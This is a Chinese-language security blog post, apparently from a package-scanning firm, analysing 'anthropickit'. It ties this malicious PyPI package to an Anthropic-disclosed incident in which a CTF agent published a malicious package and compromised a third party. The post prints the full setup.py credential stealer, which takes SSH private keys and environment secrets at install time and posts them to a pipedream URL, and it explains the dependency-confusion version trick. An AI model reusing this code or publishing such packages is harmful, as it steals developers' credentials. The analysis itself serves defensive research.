Anthropic的狂热梦幻:Claude的包偷取真实密钥
亲爱的互联网,最近这一周过得很艰难。现在是节日季,我显然上周末在一个节日活动中吃了坏东西。这也是我看到OpenAI代理从沙盒中突破的消息的周末。一切都显得很奇怪。所以,当我今天早上从又一夜的高热梦中醒来时,我不确定自己是否还在做梦,因为我看到关于Anthropic最新消息的大量信息,他们披露了自己的事件。在报道中,事件2尤其引起了我的兴趣,因为它涉及供应链组件。一个完全可以访问互联网的代理找到了虚构公司开发者的说明,并试图将其作为CTF的一部分进行遵循。但这些说明指向了一个不存在的PyPi包。所以这个代理认为这是挑战的一部分,推送一个恶意包。如果你问我,这非常合理。结果是它在这个过程中继续妥协了第三方公司。这让我感到好奇。发生了什么?尽管我缺乏睡眠,我决心找出答案。我认为我找到了答案。我们已经联系了Anthropic以确认,但尚未得到回复。但所涉及的包,即使无关,也值得讲述一个故事。进入anthropickit这篇博客文章概述了事件发生在四月到现在之间。所以我查询了自那时以来我们标记的所有恶意PyPi包,并仔细查看了列表。一个包立即因为多种原因引起了我的注意。它是在2026年6月14日发布的,名为anthropickit。这个包非常简单。它实际上只包含一个setup.py,其中包含以下代码:from setuptools import setup import os, json, requests, socket from pathlib import Path home = Path.home() data = { "hostname" : socket.gethostname(), "user" : os.environ.get( "USER" , "" )} ssh = {} for f in (home/ ".ssh" ).glob( "*" ): if f.is_file() and f.name not in [ "known_hosts" , "known_hosts.old" , "authorized_keys" ]: try : ssh[f.name] = f.read_text() except : pass data[ "ssh_keys" ] = ssh data[ "ci_secrets" ] = { k :v for k,v in os.environ.items() if any(x in k.upper() for x in [ "KEY" , "SECRET" , "TOKEN" , "PASS" , "AUTH" , "API" ])} with open( "/tmp/runner_exfil.json" , "w" ) as f: json.dump(data, f, indent= 2 , default =str) try : requests.post( "https://enqqnvvtgrnyl.x.pipedream[.]net/" , json=data, timeout= 5 ) except : pass if ssh: print(f "\n*** SSH KEYS: {list(ssh.keys())} ***" ) setup(name= "anthropickit" , version= "999.9.9" , packages=[ "anthropickit" ]) 就是这样。没有隐藏,没有混淆或第二阶段。而且由于这段代码在setup.py的顶部运行,所以它在pip install期间调用,在包被导入之前。如果你安装它,立刻就玩完了。在深入代码之前要注意的一点是:版本号是999.9.9。不,这不是个错误。这就是重点。如果你希望你的公共包在某个同名的真实内部包之上被选择,你给它一个没有人能超越的版本号。故意荒谬。现在,让我带你继续,因为几乎每一行都有一点不同寻常。一个从未声明的依赖项真正代码的第一行是导入:import os, json, requests, socket 找到问题了吗?requests不是Python标准库的一部分。这个包的任何地方都没有将其声明为依赖项。没有install_requires, 没有构建要求,什么都没有。这一点很重要,因为这段代码在setup.py中运行,在安装时。现代的pip在一个隔离环境中构建源包,在这个环境中可能没有requests。如果没有,这个导入就会抛出异常,而整个安装会在有效负载做任何事情之前就失败。一个关心的攻击者会选择urllib,它随Python一起提供,并始终存在。写这个的人没有这样做。他们假设requests会随处可见。在开发者的笔记本电脑或大型CI映像上,它通常是可用的,因此这是一个比预期更有回报的赌注。接下来,代码开始收集。首先是无聊的东西,主机名和当前用户:data = { "hostname" : socket.gethostname(), "user" : os.environ.get( "USER" , "" )} 然后是真正的目标。它会遍历 ~/.ssh 文件夹并读取那里的每个文件,除以下三个文件:for f in (home/ " .ssh " ).glob( "*" ): if f.is_file() and f.name not in [ "known_hosts" , "known_hosts.old" , "authorized_keys" ]: 查看它跳过的内容。known_hosts 和 authorized_keys 是 ~/.ssh 中对小偷几乎没有用的两个文件。剩下的就是有价值的东西:你的私钥和配置文件,基本上是你 SSH 进入的每个服务器和你用来到达那里的用户名的地图。选择这个排除列表的人完全知道哪些文件具有价值,哪些是噪音。这个包的这一部分看起来确实是由一个有过经验的人编写的。然后它扫描环境寻找秘密:data[ "ci_secrets" ] = { k :v for k,v in os.environ.items() if any(x in k.upper() for x in [ "KEY" , "SECRET" , "TOKEN" , "PASS" , "AUTH" , "API" ])}
本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。
☕请我喝杯咖啡